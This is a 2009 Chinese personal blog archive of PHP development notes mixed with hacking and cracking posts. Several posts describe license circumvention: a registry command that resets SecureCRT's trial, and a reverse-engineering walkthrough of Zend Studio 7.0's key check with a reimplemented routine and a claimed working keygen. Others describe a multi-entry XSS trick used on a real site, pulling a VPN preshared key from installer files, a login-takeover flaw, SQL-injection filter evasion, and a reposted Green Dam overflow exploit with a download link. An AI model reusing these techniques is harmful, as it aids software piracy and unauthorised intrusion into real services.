sleep了20秒,看看netstat出来的链接数。。。。只有这一个

G:\Projects\sina\Slot>netstat -ano | find "4320"
TCP 127.0.0.1:1244 127.0.0.1:3306 ESTABLISHED 4320



其实这算是一个无奈的选择,

去给php 报bugs去。。。只是不知道这算不算bug
或者说。。。。It's not a bug, it's a feature, not sure if it's expected or not.


昨晚这个折腾了好久
好不容易写的类,不可能有逻辑问题,结果发现是这个2问题。。。

Sunday, August 16, 2009

太冲动了。。。

2209WA。。。。

Saturday, August 15, 2009

各种XSS。。。

测试t,结果从最早的版本页面的两个xss,到新的版本的一堆,web+wap,一片一片的。
不过每个xss点的长度都不算太长,虽然也不短。

想起以前的某次,两三年以前了吧,fk要去xss中国站长,貌似是这个,留言板的用户名没过滤,但是长度貌似只有30多个字节不到。
排序跟t差不多,新发的在上边。
当时最开始试图从单条记录里XSS,但是太不靠谱了。
后来突发灵感,因为先发的在下边。那就把脚本逆序发出来。
先发一个闭合 script标签
然后再发js的最后一句,倒数第二句。。。。。。
最后发一个 script的标签。

不过,这个时候因为中间有html,所以js会出错
于是 每次的输入就用 /* */ 把中间的内容干掉了
例如
<script>/*
*/while(i)/*
。。。
*/alert(i++);/*
*/</script>


不过最后貌似fk的账号被封了 ... :x

Wednesday, August 5, 2009

延长SecureCRT试用期限

reg delete "HKLM\SOFTWARE\VanDyke\SecureCRT\Evaluation License"

本想直接改里边的参数,但是不靠谱

Thursday, July 30, 2009

自定义Session handler时 session_id() 发送 set-cookie头的处理

自定义的Session Handler,在 session_start 之前,做了如下处理
<?php
static protected function _config()
{
session_name(SS_SESSION_NAME);

session_set_cookie_params(
SS_SESSION_EXPIRATION ? SS_SESSION_EXPIRATION + parent::$buclass->timestamp : 0,
SS_COOKIE_PATH,
SS_COOKIE_DOMAIN,
SS_COOKIE_SECURE,
SS_COOKIE_HTTPONLY
);

global $table_sessions;
self::$_table_sessions = & $table_sessions;

# 如果要通过URL传递Session ID
if (SS_SESSION_PASSSIDVIAURL)
{
$sess_id = parent::$buclass->gpc->get(SS_SESSION_NAME);
}
else
{
$sess_id = parent::$buclass->gpc->cookie(SS_SESSION_NAME);
}

if (!empty($sess_id))
{
if (!preg_match('#^[a-zA-Z0-9]+$#', $sess_id))
{
throw new Exception('不合法的SESSION ID');
}

session_id($sess_id);
}
} ?>


每次刷新页面的时候,都发现http响应中有Set-Cookie的头,设置session name的。翻了翻php手册,http://www.php.net/session_id,参数的地方,有个Note
Note: When using session cookies, specifying an id for session_id() will always send a new cookie when session_start() is called, regardless if the current session id is identical to the one being set. 


于是,每次调用 session_id($sess_id); 这句的时候,都会发送一个set-cookie头。

回到代码,代码的设计是为了考虑到URL传递Session ID的情况,所以分别允许GET方式和COOKIE方式获取session name的值。
而代码里明显可以看到,这里获取 $_GET 和 $_COOKIE的值,并不是直接用这些超级全局变量的,而是通过了一个 gpc的类对象。自己写的一个gpc变量的封装,里边把$_GET, $_POST, $_COOKIE, $_FILES, $_REQUEST的值先加了引用,然后unset了。

结果。。。默认设置情况下,unset了$_COOKIE的值,或者说unlink了$_COOKIE对cookie变量的引用,session机制无法获取 session id,从而代码里会反复地设置session 的cookie变量。

Newborn Project里,gpc的unset变量环节是独立的,也就是
系统初始化->初始化核心类->初始化gpc->初始化session->清理gpc的变量(unset)...
而这里,
系统初始化->初始化核心类->初始化gpc(外加清理gpc的变量(unset))->初始化session...

结果又出问题了。。。

暂时没想出不增加gpc类与其他类耦合度的方法


==================================================================

Update:
最终还是决定跟Newborn Project一样把unset vars的操作单提出来

<?php
static protected function _config()
{
session_name(SS_SESSION_NAME);

session_set_cookie_params(
SS_SESSION_EXPIRATION ? SS_SESSION_EXPIRATION + parent::$buclass->timestamp : 0,
SS_COOKIE_PATH,
SS_COOKIE_DOMAIN,
SS_COOKIE_SECURE,
SS_COOKIE_HTTPONLY
);
global $table_sessions;
self::$_table_sessions = & $table_sessions;

# 如果要通过URL传递Session ID
if (SS_SESSION_PASSSIDVIAURL)
{
$sess_id = parent::$buclass->gpc->get(SS_SESSION_NAME);
if (!empty($sess_id))
{
session_id($sess_id);
}
}
else
{
if (!($sess_id = parent::$buclass->gpc->cookie(SS_SESSION_NAME))==$_COOKIE[SS_SESSION_NAME])
{
session_id($sess_id);
}
}
}



<?php
public function s_init()
{
buComponent::$buclass = & $this;

$this->_init_vars();

$this->filter = buFilter::instance();
$this->cache = buCache::instance();

$this->_init_gpc();
$this->_init_cookie();

if (SS_INTERFACE == SS_INTERFACE_WEB)
{
$this->_init_session();
}
else
{
$this->db_open();
}

$this->gpc->unset_vars();
}

Runkit是个好东西

可惜对系统函数不靠谱。。。

Monday, July 27, 2009

Baidu Hi 与 MSN 互通?

2.4beta版的Hi
早先某人聊天的时候说过这个事情,但是网上一直没有任何消息
而且他给我msn消息的时候,baidu的那段宣传文字的url,还是个死链

刚才清理系统临时文件的时候,看到临时文件夹下边 Baidu\AutoUpdate\plugins 有一个 msnview 目录
打开,三个dll的版本都是 2.4.12.1 时间 7.17
msnview.xml里边
<description name = "MSN互通" author = "luxuhui@baidu.com" />

还有一些其他的内容

这样显然是自动升级下来的

看看baiduhi安装目录,plugins下没有这个目录

把msnview copy过去
重启baidu hi
添加账号多了一个msn好友的radio,但是不可选


其他的地方也没发现多余的踪迹

继续看那个xml,有一段被注释掉了

<!--IPluginExtPt_TabMenu_MainPanel name = "MsnPlugin" enable= "true" sortByStatus="true"  sortByFolder="true"  sortBySpace="false"  sortByFrequency="false" sortOffline="true" bigHeadMode="true" smallHeadMode="true" noHeadMode="true" enableCard="false" supportGroup="false" enableSaveContact="false" enableSendFile="false" enableAVideo="false" enableMultiChat="false">   </IPluginExtPt_TabMenu_MainPanel-->

hmm,取消注释,继续重启


啧啧

还是不可用诶

界面管理器里也有这个设置


唔。。。


再次确认了一下插件,于是发现版本和某人的版本一样
而且xml的那部分本来就是被注释掉的
恢复那段内容
然后看了看update的目录
里边有个 plugins.db,但是baiduhi安装目录没有
hmm
copy过去,继续重启,
果然有了



登陆。。


登录后。。。

发消息。。。

悲剧的链接。。。



404 。。。


Session Handler引发的zend_mm_heap corrupted

不确定最终原因是什么
但是,从代码的结构看,与Newborn Project一样
加上了session handler之后,用kernel.class下的一个session handler类开启session handler
其他代码还没来得及改,大体都是dz2.0的结构。


只要在代码模板中调用discuz_exit或者exit,抑或是在 函数中调用,就会触发这个错误
具体是不是,还不敢确定
因为有时候stderr会写这个
有时候只是5.2 cli会弹出Windows下程序崩溃的提示,module显示unknown
5.3 cli到输出结束就一直挂起没响应,得ctrl+c
没心思去调试php这个错误来源。。。



最终解决方案是把output写进了session类的destructor里,然后kernel加了个end的方法调用exit()

网上找了很久都没有找到一个类似的情况

问题应该是session的结束和exit还有输出流的结束的顺序关系或者调用关系的冲突
但是。。懒得管了

Wednesday, July 22, 2009

Sina VPN非Windows平台登录

刚领到SecureID,按照说明把vpn的客户端装了
之前冠临说MacOS下没有VPN客户端
而安装的时候看到了 L2TP 的熟悉字眼
而且安装包的图标,貌似可以用7-zip解压
一试,果然
解压目录下有几个inf文件,一个vpnlist.txt,还有两个文件SinaL2TP.cmp和SinaL2TP.cms比较小,估计是文本,用Emeditor打开,果然

vpnlist.txt中,

[Settings]
default=自动
UpdateURL=http://***.*.sina.com/vpn/VPNfile.txt
message=  请根据您使用的网络环境选择相应的VPN目的地。                         通常,使用“自动”可智能选择恰当的网络。

[VPN Servers]
自动=***.*.sina.com
网通外网=*.***.*.sina.com
电信外网=*.***.*.sina.com
公司内网=10.2**.*.*3


让冠临新开了一个L2TP的连接,但是几次测试都不能连
L2TP相对PPTP,增加了加密传输的功能
所以,证书或者公钥。。。
翻了翻那几个文件,在SinaL2TP.cmp中看到了

PresharedKey=2**************************l

把这个值设成L2TP的公钥,就行了

手机键盘终于活了

又拆装了四五次
多了零件,不知道在哪儿的

反正能用了

只是外壳又被弄坏了
虽然不碍事

唔,zto和sto。。。

zto: 注入,Oracle
sto: 跨站+注入,Access

……

Monday, July 20, 2009

只能接(打)电话的手机。。。

打电话属于不靠谱的操作
接电话应该没问题
除此之外,啥都不行
开了自动锁键盘,自动锁机
于是。。。。。
只因一根管脚,一根管脚,一根管脚。。。

悲剧啊

拆了一中午的手机

Tuesday, July 7, 2009

Zend Guard ... 不想折腾了

把这几天记下来的东西贴上来
懒得折腾了
太麻烦了,不靠谱
Java代码里没找到验证的部分
很多验证都是在调用resource下的几个程序
而这几个程序居然用OpenSSL。。。
DSA签名啊。。。




=============================================================

RegisterWizard.class:
    String str1 = null;
    if (this.a.a())
      try
      {
        File localFile = File.createTempFile("ZGLicense", null);
        localFile.deleteOnExit();
        str1 = localFile.getPath();
        String str2 = str1;
        1 local1 = new 1(this, str2);
        getContainer().run(true, true, local1);
      }
      catch (Exception localException)
      {
        CommonUIPlugin.a(localException);
        return false;
      }
    else
      str1 = this.a.e();
RegisterWizardPage1.class
  private RegisterWizardPage1 a;
a.a(); -> 返回 a.n
a.n:
 this.n = this.b.getSelection();
a.e(); -> 返回 a.r
a.r:
     this.r = str1;
----->
String str1 = this.l.getText().trim();

所以,a.e() 返回输入的文件名
        int i = GuardLicense.a(str1, GuardConsole.b().newOutputStream(), null);
GuardConsole.b():单件模式初始化对象
直接看 GuardLicense.class 的
  public static int a(String paramString, OutputStream paramOutputStream, IProgressMonitor paramIProgressMonitor)
    int i2 = ZendUtility.g;
// -> ZendUtility.g 一个static 的 int
String str = new File(ZendEncoder.a().d()).getParent();

// -> ZendEncoder.a().d() : .a()初始化对象,.d()是继承 ZendUtility 的 d()方法
代码如下
      String str1 = GuardCorePlugin.a().getBundle().getSymbolicName();
      StringBuffer localStringBuffer = new StringBuffer();
      localStringBuffer.append("/resources/");
      localStringBuffer.append(c());
// 这里c()返回的是 GuardEngine的文件名,Windows下加了 .exe 的扩展名
      String str2 = localStringBuffer.toString();
      URL localURL = FileLocator.find(Platform.getBundle(str1), new Path(str2), null);
      if (localURL != null)
      {
        localURL = FileLocator.resolve(localURL);
        String str3 = localURL.getFile();
        this.b = new Path(str3).toOSString();
      }
// 后边这个等着查javadoc吧

回来
    String str = new File(ZendEncoder.a().d()).getParent();
    File localFile1 = new File(str, "zend_guard.zl");
    File localFile2 = null;
    File localFile3 = new File(paramString);
    boolean bool = localFile1.getCanonicalPath().equals(localFile3.getCanonicalPath());
按照File的参数判断,str这个应该是取resources目录的绝对路径,或者类似的

下边的代码是处理文件存在的时候,将文件备份成***.bak文件
    if ((localFile1.exists()) && (!(bool)))
    {
      localFile2 = new File(localFile1.getAbsolutePath() + ".bak");
      localFile1.renameTo(localFile2);
      localFile1 = new File(str, "zend_guard.zl");
    }




































========================================================================================

从Java代码里很难找到验证相关的代码
看了看resources下的几个exe文件
都有license验证的提示

Ollydbg载入,看字符串参考
满眼全是 OpenSSL相关的东西

phpchina的sample license的内容,看着像是不对称加密的数据

相对而言,zendenc_sign的文件最小,内容较少
考虑调试这个东西


但是,从提示看
license的验证更像是验证证书的签名和有效性
而后的加密,貌似就是用这个分发的证书再对文件做签名

很诡异

如果真是证书的方式,那就可以不用考虑了
伪造证书、签名肯定不靠谱

Sunday, July 5, 2009

Zend Guard ?

升级了 jd-gui 到 0.2.10版,支持直接解包jar了(虽然只是简单的zip而已,但是毕竟方便了不少)
看了看老版本的license,结构貌似很复杂
继续在core下找,看到了一个 LicenseFileParser和一个LicenseFileWrite的 class文件
然后core.resource下的几个exe和dll,居然都是vc6debug模式编译的,连壳都没加
hmm...

继续?

Thursday, July 2, 2009

zend studio 7.0 beta的keygen写出来了。。。

十多行代码的函数
分析的时间超过了5天
但是官方的key却没法通过之前根据java代码重写的验证算法

anyway,

注册成功了 :P


感谢傅奎的支持和帮助



Zend Studio
Professional Edition

Build ID: 20090621

Licensed to: sskaje
Expires on: Never

Copyright (c) 1998-2008 Zend Technologies Ltd. All rights reserved.
Visit http://www.zend.com

This product is based on Eclipse technology.
Visit http://www.eclipse.org

Wednesday, July 1, 2009

送走了28 。。。

团队里边唯一一个离开北京的
除去提前回家的linxinsnow,其他人基本都来了

00的sherman,01的萧剑风,02的傅奎,redhat,04的小塞,05的我,wwwjfy,也云,seer和这次fb的主角 28度的冰 以及07的大企鹅,生物学叫兽,小猴子,瞧瞧,Fipl,神的孩子

还有提前回去了的罗老师

算是ISCC史上最全的一次内部聚会了
甚至可以说是最强的。。。。


只是28将成为离开北京,为国家安全。。。。。。。。


我们会以28为荣的。。。

Sunday, June 28, 2009

Zend Studio 7.0 Beta 注册验证分析(未完待补充)

查找 所有.class 文件夹,发现有一个 文件名为:RegisterAction.class的

Zend\Zend Studio - 7.0.0\plugins\com.zend.php.ui_7.0.0.v20090614-1641\com\zend\php\ui\actions
从目录看,应该是eclipse的图形化界面的shell接口操作

上一级目录中,有 PHPUIMessages.properties
其中发现有
RegisterAction.3=You will need to restart the workbench for the changes to take effect.\nRestart now?
SerialNumberDialog.5=The entered license key is invalid

等字样


使用jd-gui查看RegisterAction.class的代码
发现有

import com.zend.php.core.core.basic.c;
import com.zend.php.core.core.basic.d;

导入了两个class文件,这两个文件在一个jar中,直接解压
public void run(IAction paramIAction)

c localc = c.a(localr.a(), localr.b());
这个c就是import进来的basic.c
往下看
    if (localc == null)
    {
      MessageDialog.openError(this.a.getShell(), PHPUIMessages.a("RegisterAction.4"), PHPUIMessages.a("RegisterAction.0"));
      return;
    }
    try
    {
      d.b(localc);
      if (!(MessageDialog.openQuestion(this.a.getShell(), PHPUIMessages.a("RegisterAction.6"), PHPUIMessages.a("RegisterAction.3"))))
        return;
      PlatformUI.getWorkbench().restart();
    }
查查刚才的PHPUIMessages.properties
确认了一个事实:
可以猜测 localr.a() 和 localr.b() 取出的分别是 username 和 password
那么,首先用 c.a(a, b)进行计算,如果返回不为空,则进行 d.b(c) 的过程
根据返回值确定结果
PHPUIMessages.a()这个函数的参数,对应的那个 properties 文件的内容看,这个推断应该没错


好吧,首先看看 com.zend.php.core.core.basic.c
Zend\Zend Studio - 7.0.0\plugins\com.zend.php.core_7.0.0.v20090607-1658\com\zend\php\core\core\basic
用jd-gui打开 c.class
根据重载参数,找到
  public static c a(String paramString1, String paramString2)
  {
    c localc = null;
    try
    {
      if (localc != null)
        break label34;
      int k = Integer.parseInt(paramString2.substring(0, 1), 16);
      localc = f.a(k).a(paramString1, paramString2);
    }
    catch (Exception localException)
    {
    }
    label34: return localc;
  }

其中,f 是 com.zend.php.core.core.basic.parser.f
打开 Zend\Zend Studio - 7.0.0\plugins\com.zend.php.core_7.0.0.v20090607-1658\com\zend\php\core\core\basic\parser
再看参数
  public static b a(int paramInt)
  {
    if (3 == paramInt)
      return new e();
    throw new IllegalStateException("Unknown license version");
  }
也就是说,paramInt必须为3
那么回到前边的代码
localc = f.a(k).a(paramString1, paramString2);
k必须为3,这样就会返回一个 e();
于是,Integer.parseInt(paramString2.substring(0, 1), 16) == 3 ………………………………………………………………………………………… p2 第一个字符为3

进入 com.zend.php.core.core.basic.parser.e
看参数和返回值(localc = f.a(k).a(paramString1, paramString2);):
public c a(String paramString1, String paramString2)

这个代码:
      int i = Integer.parseInt(paramString2.substring(0, 1), 16);
      if (i != 3)
        return null;
再次验证了 p2[0] == 3的事实
String str1 = paramString2.substring(1, 3);
取出p2 的 [1] [2] 两个字符
String str2 = a(paramString2.substring(3, 16), str1 + paramString2.substring(16));
返回值是 String,看函数
private static String a(String paramString1, String paramString2)
其中是一个循环
算法的php实现是:
<?php
function a($p1, $p2) {
 $s = '';
 $i = 0;
 do {
  $j = 0;
  do {
   $s .= dechex(
    hexdec($p1[$i+$j]) ^ hexdec($p2[$j])
    );
  } while ($j < strlen($p2) && $i+$j < strlen($p1));
  $i += strlen($p2);
 } while( $i < strlen($p1) );
 return $s;
}
?>
根据这个16进制串的返回值,继续往后走,回到刚才的 a()
      int j = Integer.parseInt(str2.substring(0, 1), 16);
      int k = Integer.parseInt(str2.substring(1, 2), 16);
j 为 上一个返回 str2 的 [0], k 为 [1],两个都是10进制整数。
      int l = Integer.parseInt(str2.substring(2, 4), 16);
      int i1 = Integer.parseInt(str2.substring(4, 5), 16);
      int i2 = Integer.parseInt(str2.substring(5, 7), 16);
又是三个整数变量 然后根据前边定义的
Date localDate = null;
判断:
      if ((l != 0) || (i1 != 0) || (i2 != 0))
      {
        Calendar localCalendar = GregorianCalendar.getInstance();
        localCalendar.set(5, l);
        localCalendar.set(2, i1 - 1);
        localCalendar.set(1, 2000 + i2);
        localDate = localCalendar.getTime();
      }
//……………………………………………………………………………………………………………………代码求解释
      int i3 = Integer.parseInt(str2.substring(7, 9), 16);
      long l1 = Long.parseLong(str2.substring(9, 13), 16);
      long l2 = a(paramString1, i, str1, j, k, localDate, i3, l1).longValue();
      long l3 = Long.parseLong(paramString2.substring(16), 16);
又是对 str2的运算 其中,又将刚才算出来的localDate代入到另外一个a里边
private static Long a(String paramString1, int paramInt1, String paramString2, int paramInt2, int paramInt3, Date paramDate, int paramInt4, long paramLong)
这个函数里边主要做了一些字符串的合并,和时间数据的字符串化(ddMMyy),猜测可能是与expiration有关 补了00000在串后 而后加了一个crc32的计算校验 这个函数的返回值就是 那个 crc32的long值 而其中的那个00000的补全就不知道有何意义了………………莫非函数引用传值? 再次回到最初的a()
if (l3 != l2)
        break label403;
也就是说,l3 == l2 下边又是一个循环
      do
      {
        if ((()Math.pow(2.0D, i4) & l1) != 0L)
        {
          int i5 = 0;
          if (bool);
          do
          {
            localArrayList.add(d[i4][i5].getId());
            ++i5;
          }
          while (i5 < d[i4].length);
        }
        ++i4;
      }
      while (i4 < d.length);
这里的 localArrayList 在循环结束后
return new c(i, paramString1, j, k, localDate, i3, (String[])localArrayList.toArray(new String[localArrayList.size()]));
送进构造另外一个对象 这个c是 com.zend.php.core.core.basic.c ======================================================================================== 跳出加密验证部分 回到对话框界面的数据获取 还是 RegisterAction.class
    r localr = new r(this.a.getShell());
    if (localr.open() == 1)
      return;
    c localc = c.a(localr.a(), localr.b());
看看 r这个类的东西 package com.zend.php.ui.core.dialogs; 看看两个参数的获取:
  public String a()
  {
    return this.j.getText().trim();
  }

  public String b()
  {
    return this.k.getText().trim();
  }
i和j的定义在:
    this.j = new StringDialogField();
    this.j.setLabelText(PHPUIMessages.a("SerialNumberDialog.1"));
    this.j.setDialogFieldListener(new i(this));
    this.j.doFillIntoGrid(localComposite, 2);
    LayoutUtil.setHorizontalGrabbing(this.j.getTextControl(null));
    this.j.setFocus();
    this.k = new StringDialogField();
    this.k.setLabelText(PHPUIMessages.a("SerialNumberDialog.2"));
    this.k.setDialogFieldListener(new j(this));
    this.k.doFillIntoGrid(localComposite, 2);
    LayoutUtil.setHorizontalGrabbing(this.k.getTextControl(null));
对应的串:
SerialNumberDialog.1=User Name / Order #:
SerialNumberDialog.2=License Key:
断定数据肯定是在这儿了 但是刚才看了看6版的注册机,license首字节不是限制在1,2,-1之间(虽然6.1代码里只有这三个判断数据) 所以,我觉得这里肯定会有一些数据的预处理过程 继续找
Zend\Zend Studio - 7.0.0\plugins\com.zend.php.ui_7.0.0.v20090614-1641\com\zend\php\ui\core\dialogs
r.class
i.class
现在先尝试按照ui的流程将验证过程实现
然后再做keygen
但是有些初始值怎么定还是个问题

Saturday, June 20, 2009

悲剧,各种悲剧

rt


悲剧人生啊

Monday, June 15, 2009

貌似又被NIC盯上了

保留账号的操作,hmm,貌似因此又被NIC的老师盯上了
早起MSN就收到消息。。。。。

lol

后续在live spaces里

注入的处理?

两个比较恶心的问题,都源于字符过滤。

php+mysql

对于一个字符串型注入点,没开magic_quote_gpc。如果过滤了 "=" 那就意味着,假设有update或者insert型的注入,无法对其他字段进行操作;而且mysql里没有看到任何类似 ++ -- 的操作。


同样的注入点,如果没有过滤 "=",但是过滤了 "," ,以至于无法进行union查询。

有啥解决方案?

以前处理一个insert型的注入,根据字段长,一次一次地substring()处理load_file的结果,已经很恶心了

Friday, June 12, 2009

【转载+评论】跨上草尼马,挥刀斩河蟹-绿坝V3.17超长URL溢出漏洞exploit by seer

原文地址 http://hi.baidu.com/hex1337/blog/item/13cc5bd014fff2da572c840d.html

2009-06-12 23:02

28度的冰 19:29:31
哪里有绿坝下载啊。我正需要这样一款软件。
28度的冰 19:29:39
平时上网总是有暴力

28度的冰 19:29:45
色情网站蹦出来
28度的冰 19:29:48
可讨厌了
也云 19:29:54
2
28度的冰 19:29:58
正好用绿坝过滤一下
seer 19:30:01
2
28度的冰 19:30:29
这么好的软件就算收费也是值得的
28度的冰 19:30:49
况且还免费预装
seer 19:30:48
我们要相信ZF是在保护孩子们
28度的冰 19:30:51
太好了
seer 19:31:12
比如,它只拦截IE

这就从小教会了孩子们使用Firefox

============用群里的某段聊天来开篇==============

为了监视用户的浏览网页行为,绿坝注入了IE进程,在处理超长的URL时,就会在IE的进程空间中触发一个典型的栈溢出.具体原理可以看看密歇根大学的牛人们给出的分析http://www.cse.umich.edu/~jhalderm/pub/gd/, 不错的学校...

Exploit中使用了.net部署shellcode的方式,(BlackHat2008上公布的那招),这是一种比HeapSpray更稳定的方式,而且不卡IE,还能绕过Vista下的DEP和ASLR. 懒得写生成器了,我给出的利用程序shellcode是弹出XP sp2的计算器,所以更接近一个PoC,要换shellcode的话需要手动改下.net中的shellcode,然后用VS重新编译exploit.dll,这也算是防止被菜鸟们滥用的一个小小的门槛吧...

Tips1:由于带有.net控件,这个exploit必须在IIS上发布(需要服务器装有.net framework,IIS不需要特别的设置),直接点开是不行的

Tips2:具体的编译方式放在附件中了,复制粘贴吧,只要你有VS开发环境...

exploit下载:http://www.namipan.com/d/40c1b70f9ed40b2baf3e0fbe826254a324c2823755090000

Enjoy Hacking~;-)

=====================================================================

1 居然qq聊天记录里没有我说话,真悲剧
2 我们要和谐
3 为啥zzjinhui.com连不上了呢?来人爆破md5吧....呃,没用,那个站都连不上了,admin的密码有了也白费
4 算了还是继续不和谐吧。。


然后,再赞一下milw0rm的速度
http://milw0rm.com/exploits/8938

Saturday, June 6, 2009

祝 吴旭炜 小朋友高考顺利

拿出文科第一的样子来,9月份的北京欢迎你。

Friday, June 5, 2009

官方的非正式个人声明

今天发现有一个(加上马甲算是一小撮吧)不法分子,在某几个论坛仿用我的ID注册了ID=sskaje6540的号。
// 可是我从来觉得在自己ID里使用数字是个很2的行为(1337 excluded) :x

首先xb一个联盟上的回帖
飞翔已经让人ban了,然后9*等6上线就行了
硕博怎么说我还是个贵宾

四大论坛,玩转

哇咔咔

动力貌似被LX动手了吧,NP想必他不敢注册,FX和9*还有硕博,料想他不知道我在各大论坛的水有多深,怎么说我也比他大一级,虽然年龄不见得大吧,哇咔咔。(二度显摆,很恶心的来句,oh yeah!)

然后,很和谐地bs一下那个无聊的小孩。

我没兴趣和小人玩,要玩自己随便,别逼我把某次不和谐言论的证据拿出来。

=========================================================================

然后无聊一下这个http://d*g*.com/b******n,这个小孩儿的杰作啊。

可惜啊,我不玩sns,不玩所谓的twitter,fanfou类似的东西

居然还把我的blog放上去。。。。可惜了,可惜了,没法挂广告,要不然又可以用流量挣钱了,虽然不多

lol

==========================================================================


我是不是真的对学生会太不友善了。。。。。。。。rofl



==========================================================================

一句话的声明:我没那么2的ID,请认准 /\bsskaje\b/ 无任何 pattern modifiers,两端单词边界。


===========================================================================

Update:
我突然才发现,那个山寨ID居然用了我qq号的后四位诶。真假啊

Wednesday, June 3, 2009

图片分层透明化

给JeRegle的幼儿园分色,给我的是一个gif文件,除了底色白色之外,只有三种颜色。
需要将这三种颜色的点分别提取出来,并背景透明化存成独立文件。

之前处理图片的时候,也给他做过一次背景透明化的东西,用gd库的imagecolortransparent清理背景色。
<?php
$image = imagecreatefromgif('totrans.gif');
$dim = array(imagesx($image), imagesy($image));

var_dump($dim);
$im = imagecreatetruecolor($dim[0], $dim[1]);
$bg = imagecolorallocate($im, 255,255,255);

imagecopyresampled($im, $image, 0, 0, 0, 0, $dim[0], $dim[1], $dim[0], $dim[1]); 

$white = imagecolorallocate($im, 255,255,255);
imagecolortransparent($im, $white);
imagegif($im, 'trans.gif');?>


但是这次分色的时候,发现imagegif出来gif颜色有问题。生成了好几次,觉得有可能是gif色库的问题。印象中标准gif只能描述256种颜色,所以需要一个类似于bmp的调色板的东西。

用imagepng生成之后,继续去颜色,然后列出一个表格:
original:   gif   :   png  
#93B1FD : #94B2FC : #93B1FD
#B6CBFE : #B4CAFC : #B6CBFE
#D9E4FE : #DCE6FC : #D9E4FE

虽然png的颜色没问题,但是给他之后,居然ps没法识别背景的透明化。

突然想到了 ImageMagick。
有打算用imagick或者magickwand for php来试试
但是有点不大靠谱,没时间翻文档。
突然想到ImageMagick的一个二进制程序 convert
印象中见有人用它做过透明化的处理。
先把gd代码的透明化给注视掉,让背景色全为白色,然后上网查了下,
E:\sskaje>convert 4_1.png -background transparent -transparent white 5_1.png
然后把图给他,测试没问题。

php代码:
<?php
/*
original:   gif   :   png  
#93B1FD : #94B2FC : #93B1FD
#B6CBFE : #B4CAFC : #B6CBFE
#D9E4FE : #DCE6FC : #D9E4FE

transparent the background with imagemagick/convert:
 E:\sskaje>convert 4_1.png -background transparent -transparent white 5_1.png
*/
$image = imagecreatefromgif('3.gif');
$dim = array(imagesx($image), imagesy($image));
$prefix = '4_';
$im = imagecreatetruecolor($dim[0], $dim[1]);
$bg = imagecolorallocate($im, 255,255,255);
$white = imagecolorallocate($im, 255,255,255);
$red = imagecolorallocate($im, 255, 0, 0);

$layers = array(
 1 => array(
  imagecolorallocate($im, 0x93,0xb1,0xfd),
  0x93B1FD,
 ),
 2 => array(
  imagecolorallocate($im, 0xb6,0xcb,0xfe),
  0xB6CBFE,
 ),
 3 => array(
  imagecolorallocate($im, 0xd9,0xe4,0xfe),
  0xD9E4FE,
 ),
);

foreach ($layers as $k=>$v)
{
 echo $k, "\n";

 imagecopyresampled($im, $image, 0, 0, 0, 0, $dim[0], $dim[1], $dim[0], $dim[1]); 

 for ($i=0; $i<$dim[0]; $i++)
 {
  for ($j=0; $j<$dim[1]; $j++)
  {
   if (imagecolorat($im, $i, $j) != $v[1])
   {
    imagefill($im, $i, $j, $white);
   }
   else
   {
    imagefill($im, $i, $j, $v[0]);
   }
  }
 }

 #imagecolortransparent($im, $white);
 #imagegif($im, $prefix.$k.'.gif');
 imagepng($im, $prefix.$k.'.png');
}?>

Friday, May 29, 2009

真惨啊

ghs又被gfw了

只能gladder了。。。。。

Sogou Explorer 1.2 代理服务说明

Sogou Explorer v1.2 : 需要将

HKCU\Software\SogouExplorer\Accelerater  :VideoAccelerater
HKCU\Software\SogouExplorer\Accelerater  :WebAccelerater 


都设成2 才能用

SogouExplorer.exe -proxy启动


否则不会开启代理服务线程

Sunday, May 24, 2009

又被php5-sqlite3给弄崩了


又被php5-sqlite3给弄崩了

ubuntu下的,又是

虽然不是pecl的sqlite3,好吧,我也能忍了,写这么多也习惯了

但是,居然连ORDER的支持也不好

 

今天却又发现,不支持  group by

服了

 

换了好几种方案,实在不敢自己处理数据结构,要不然指不定乱成啥样的

 

最后看了看 sqlite3的命令行参数,发现可以直接接sql,然后system试了试,很不爽的是,没有任何结果输出

改了全路径,依旧无效

然后 2>&1 结果报无法打开文件

 

去改了改apparmor的配置,给apache加了目录文件读取权限

至少能获取数据了

虽然很恶心

Sunday, May 17, 2009

[Srun3000]逻辑错误

分析代码发现了一个逻辑错误,可以随意登陆别人帐户

修改密码也没有要求输入原密码 。。。。。。 多方便
然后,更方便的是能修改用户组 lol
于是我能说无敌了么 XD

测试文档

测试文档



用google docs写blogger

 

第一次尝试

 

 

不错,不错

Saturday, May 16, 2009

被gfw的日子

只有ghs的域名才能访问
blogger和blogspot全被gfw了

真惨

真的只能看,不能写了

Monday, May 4, 2009

[ISCC2009]关于脚本关的综合评价

刚才算是把脚步的10道题目都做完了。都是小猴子做的,不错,整体质量能给到80分左右,如果考虑到他才大二那甚至可以更高,部分题目略有瑕疵,有几道还是比较出彩的。

这次的10道题,考察了注入、上传、CSRF、XSS等。
就注入而言,题目没有去年难,因为去年的前几道注入的题目,纯粹是28以往搞站的经验积累,有些相对很偏了;这次的相对中规中矩,进行了常规过滤。这些基本注入的题目,没必要用工具,如果能对sql server的一些标准sql的特性稍微有些了解,那就很容易出来。

LFI,这题不错,只是纯粹靠人的直觉了,毕竟,有时候要LFI,你还是得猜到文件名是什么。

升级版的注入,有道题特别出彩,不过相对处理上略微有点不合理,但是效果还是很不错的。

最后的CSRF、XSS,其实从我角度来说,我都认为是csrf,而28偏向于认为这是一道csrf一道xss+注入(sql injection in XSS XD)
我都是用csrf的手段完成的。耗的较多的时间可能是由于经验主义带来的误导。然后对过滤规则的绕过又花了比较多时间。不过整体这两题还是很棒的,虽然从真正的入侵中,暂时的应用价值不大,毕竟没有这么简单的站用来csrf,但是对于初学者而言,这是一个很好的csrf入门教材。

Sunday, May 3, 2009

记在ISCC2009正式开赛27小时

因为很和谐的原因,竞赛被推迟了16个小时,具体原因见 http://blog.isclab.org/2009/05/blog-post.html
没曾想,php5.3的win版居然这么恶心



昨天中午12点正式开赛
大中午的,又赶着放假
注册人数寥寥无几
看着系统基本能跑起来,有几个bug
懒得管,便出去晃悠了

晚上8点回到实验室
开始改代码,修复了几个bug后
实在无聊,做题

目前只放出来简单的题目
大题等明天放出来

基础关,基本没有太大难度,题型比以前有很大改善,尤其是第11题,实在很有想法;还有第8题,把循环之风带入了ISCC;整体定位比较好,有真正的基础关的感觉

破解关:5个app,难度不算大,前两个算是纯算法了,第三个检查了常见的调试器,第四个反调试,第五个加壳。整体难度,只能说真的很低,虽然都是算法的,但是没有太多的复杂变化,某些题基本想清楚了路子,总有好方法的。反正我常规调试过了1,2,4,调试+静态分析过了5,第三个hmm。暂时不说怎么调的 lol

